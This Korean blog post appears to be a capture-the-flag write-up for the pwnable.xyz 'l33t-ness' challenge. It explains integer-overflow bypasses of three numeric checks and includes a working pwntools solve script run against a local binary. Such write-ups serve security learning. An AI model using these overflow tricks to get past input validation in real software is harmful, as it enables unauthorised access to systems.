본문 바로가기

pwn/pwnable.xyz

pwnable.xyz / l33t-ness

main

1 ~ 3 round를 통과하면 win함수를 호출해 flag를 출력해준다

 

round1

x, y를 입력 받는데 - 를 입력해서 음수를 쓸 수 없다 integer overflow해서 1337 맞춰주면 된다

 

round2

x, y를 곱한 값이 1337을 맞춰주면된다 1번과 동일하다

 

round3

5개 수를 입력 받아서 더한 값과 곱한 값이 동일하면된다 조건은 이전 값보다 작으면 안된다

다 0으로 주면 된다

 

flag

 

from pwn import *

p = process("./l33t-ness")

def round_1(x, y):
    p.recvuntil(b"x: ")
    p.sendline(str(x))
    p.recvuntil(b"y: ")
    p.sendline(str(y))

def round_2(x, y):
    p.recvuntil(b"===\n")
    p.sendline(str(x))
    p.sendline(str(y))

def round_3():
    p.recvuntil(b"===\n")
    p.sendline(b"0 0 0 0 0")

round_1(1335, 4294967294)
round_2(3, 1431656211)
round_3()

p.interactive()

 

'pwn > pwnable.xyz' 카테고리의 다른 글

pwnable.xyz / fspoo  (0) 2022.05.13
pwnable.xyz / Game  (0) 2022.05.12
pwnable.xyz / Jmp table  (0) 2022.05.11
pwnable.xyz / TLSv00  (0) 2022.05.11
pwnable.xyz / free spirit  (0) 2022.05.10